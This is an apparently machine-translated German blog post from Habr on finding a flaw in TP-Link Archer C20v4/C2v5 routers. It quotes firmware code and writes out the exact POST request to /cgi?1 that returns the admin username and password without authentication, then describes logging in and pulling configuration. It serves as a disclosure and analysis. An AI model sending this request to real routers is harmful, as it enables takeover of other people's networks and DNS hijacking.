Nach dem TP-Link-Hack

Das Hacken mit DNS-Spoofing ist eine ziemlich häufige Angriffsmethode. Vor allem wegen seiner Einfachheit. Der Kern des Angriffs besteht darin, die DNS-Adresse in den Netzwerkeinstellungen des Opfers in die Adresse des DNS-Servers des Angreifers zu ändern, um eine falsche IP-Adresse zurückzugeben. Und weiter, wen interessiert das schon - von den banalen Phishing-Seiten sozialer Netzwerke für den Diebstahl von Passwörtern bis zum vermeintlichen Provider-Stub mit Zahlungsanforderungen.

Das Interessanteste an all dem ist, wie Bots auf die eine oder andere Weise auf die Router gelangen. Und heute werde ich über eine dieser Methoden sprechen.

Was haben wir:

  1. Brandneuer Archer c20v4 Router, sofort einsatzbereit, mit der neuesten offiziellen Firmware.
  2. Externe IP-Adresse auf der WAN-Oberfläche und offener Webzugriff.
  3. Ein Passwort ist komplex genug, um sich keine Gedanken über seine Auswahl und einen begrenzten Kreis von Personen zu machen, die es kennen.
  4. Nach einem Tag: DNS-Spoofing und alle Anfragen werden auf einen Stub gewickelt.

Was Sie brauchen:
Hier erfahren Sie, wie Sie auf das Gerät zugreifen können.

Zunächst wurden bei einem Testpatienten alle bekannten alten Fehler getestet, die in Google gefunden wurden. Natürlich hat nichts funktioniert.

Auf dem Github ( tyk ) wurde ein Skript gefunden, mit dem Sie Befehle auf den Modellen C20i und C2 vom Stamm aus remote ausführen können. Ein bisschen nicht das, was wir brauchen, aber die richtige Richtung vorgeben.

Alle Funktionen hatten die gleiche "Shell" für Anforderungen - dies sind POST-Anforderungen für url / cgi? 2 (und 7), " [setup_name # 0,0,0,0,0,0,0 # 0,0,0,0,0 , 0] "und ein spezieller Referer .

Laden Sie die Quellcodes unserer Firmware von der offiziellen Website tp-link herunter und entpacken Sie sie. Weil Die Router-Linie ist die gleiche, dann sollte die Software zumindest ein wenig ähnlich sein, oder?

grep
grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true); 


Bingo Der Name der Datei deutet darauf hin, dass es weiter sehr interessant sein wird. Wir finden im Code eine Zeile, in der wir das geschätzte "cgi? 2" gesehen haben. Unten ist die komplette Funktion:

doSetUsrName
  function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); } 


Diese Funktion ruft bei Ausführung einen anderen auf - getUsrName ().

Anmeldefunktion:

getUsrName
  function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); } 


Aber mach einfach nichts mit dem Login. Wir sind an einem Passwort interessiert. Wir wissen, dass die Anmeldung in der Variablen adminName im Objekt USER_CFG gespeichert ist. Eine Suche in der Quelle ergab folgende Ergebnisse: (Ich werde nur das gewünschte Ergebnis hinterlassen)

Grep-Ausgabe
 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 


Öffnen Sie Reduced_data_model.xml und finden Sie das folgende Codefragment darin:

XML
 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg> 


Hier haben wir die bereits bekannte Variable "AdminName" und daneben AdminPwd gespeichert. Klingt nach der Wahrheit.

Jetzt müssen wir nur noch die richtige POST-Anfrage bilden, auf die wir mit den erforderlichen Daten an den Router antworten müssen. Wir wenden uns wieder dem Skript vom Github zu und sehen, wie es dort gemacht wird:

Daten
 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" ) 


Analog bilden wir unsere Anfrage:

Daten
 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n" 


IIIiii senden. In Wireshark sieht das Paket folgendermaßen aus:

Anfrage


Wir schauen uns die Antwort an:

die Antwort


Ein aufmerksamer Leser wird feststellen, dass die POST-Anfrage an "/ cgi? 1" gesendet wurde und nicht wie im Skript an "/ cgi? 2". Alles ist richtig. Wir müssen nur das Passwort herausfinden. Nachdem Sie die Daten zur Autorisierung erhalten haben, können Sie sich bereits auf eine einheitliche Schande einlassen.

Anmelden:

GET Anfrage


Und wir sind bereits berechtigt, alle Daten abzureißen, die wir nur in der Datei reduced_data_model.xml für wichtig halten:

Anfrage


die Antwort


Anfrage


die Antwort


Im Moment wurden die Quellcodes des C20v4-Routers von der Tp-Link-Website entfernt und stattdessen V5-Codes veröffentlicht. Leider gibt es noch keine offizielle Firmware.

Die gute Nachricht: Diese Sicherheitsanfälligkeit wird nur ausgenutzt, wenn der Webzugriff für alle zugänglich ist.
Die schlechte Nachricht: Jemandes Bots klopfen bereits mit den richtigen Anfragen an externe Adressen.

Neben dem ArcherC20V4- Modell ist auch das ArcherC2V5- Modell von dieser Sicherheitsanfälligkeit betroffen .

Source: https://habr.com/ru/post/de419071/


All Articles